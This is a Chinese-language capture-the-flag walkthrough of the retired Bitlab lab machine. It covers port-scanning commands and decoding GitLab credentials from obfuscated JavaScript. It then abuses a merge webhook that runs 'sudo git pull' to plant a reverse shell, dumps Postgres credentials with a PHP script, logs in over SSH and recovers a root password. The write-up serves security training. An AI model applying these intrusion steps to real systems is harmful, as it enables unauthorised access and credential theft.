本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.114
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
信息枚举收集 https://github.com/codingo/Reconnoitre 跟autorecon类似 autorecon 10.10.10.114 -o ./Bitlab-autorecon sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.114 或者 sudo masscan -p1-65535,U:1-65535 10.10.10.114 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr ' ' ',' | sed 's/,$//') sudo nmap -Pn -sV -sC -p$ports 10.10.10.114
直接IP地址访问其80端口
发现是个gitlab的应用,在爆破目录之前先访问下robots.txt看看
显示不允许的东西太多了,经过测试访问,发现profile和help路径有敏感信息
发现上面显示的help路径里面还有个书签地址,点击进去发现有个Gitlab Login的超链接,在浏览器上直接查看对应显示的前端代码
var _0x4b18=["x76x61x6Cx75x65","x75x73x65x72x5Fx6Cx6Fx67x69x6E","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x63x6Cx61x76x65","x75x73x65x72x5Fx70x61x73x73x77x6Fx72x64","x31x31x64x65x73x30x30x38x31x78"]; document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3]; document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; } var _0x4b18=["x76x61x6Cx75x65","x75x73x65x72x5Fx6Cx6Fx67x69x6E","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x63x6Cx61x76x65","x75x73x65x72x5Fx70x61x73x73x77x6Fx72x64","x31x31x64x65x73x30x30x38x31x78"]; _0x4b18 ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"]
得到了登录目标靶机的gitlab的账户和密码
clave
11des0081x
成功登录到目标靶机的gitlab,发现属于管理员Administrator 下有两个仓库文件,分别是Deployer和Profile 翻看了一下
根据上面的信息,发现其中显示index.php代码的内容
<?php $input = file_get_contents("php://input"); $payload = json_decode($input); $repo = $payload->project->name ?? ''; $event = $payload->event_type ?? ''; $state = $payload->object_attributes->state ?? ''; $branch = $payload->object_attributes->target_branch ?? ''; if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') { echo shell_exec('cd ../profile/; sudo git pull')," "; } echo "OK ";
上述代码大概意思就是在仓库Profile下面,分支是master,同时合并请求就会执行sudo git pull 那么这里就可以上传反弹shell的php代码
成功上传
触发反弹shell,拿普通权限
查看网络链接发现开放了5432端口,确认存在Postgresql数据 想要访问这个数据库,但是目标存在目标靶机上的docker环境中,而且靶机上也没有客户端,只能通过php代码从端口里面访问
<?php $db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles"); $result = pg_query($db_connection, "SELECT * FROM profiles"); print_r(pg_fetch_all($result)); ?>
通过echo命令创建php代码文件
使用echo命令追加文件 echo '<?php $db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles"); $result = pg_query($db_connection, "SELECT * FROM profiles"); print_r(pg_fetch_all($result)); ?>' > pg.php
得到了登录目标靶机的ssh登录账户
www-data@bitlab:/tmp$ php -f pg.php Array ( [0] => Array ( [id] => 1 [username] => clave [password] => c3NoLXN0cjBuZy1wQHNz== ) ) 登录方式:sshpass -p 'c3NoLXN0cjBuZy1wQHNz==' ssh -oStrictHostKeyChecking=no clave@10.10.10.114
在家目录下发现一个二进制文件
使用scp将目标靶机的二进制文件传到本地kali
scp clave@10.10.10.114:RemoteConnection.exe .
二进制分析,目前还不是很擅长,可参考:
https://0xdf.gitlab.io/2020/01/11/htb-bitlab.html
得到root密码
root:Qf7]8YSV.wDNF*[7d?j&eD4^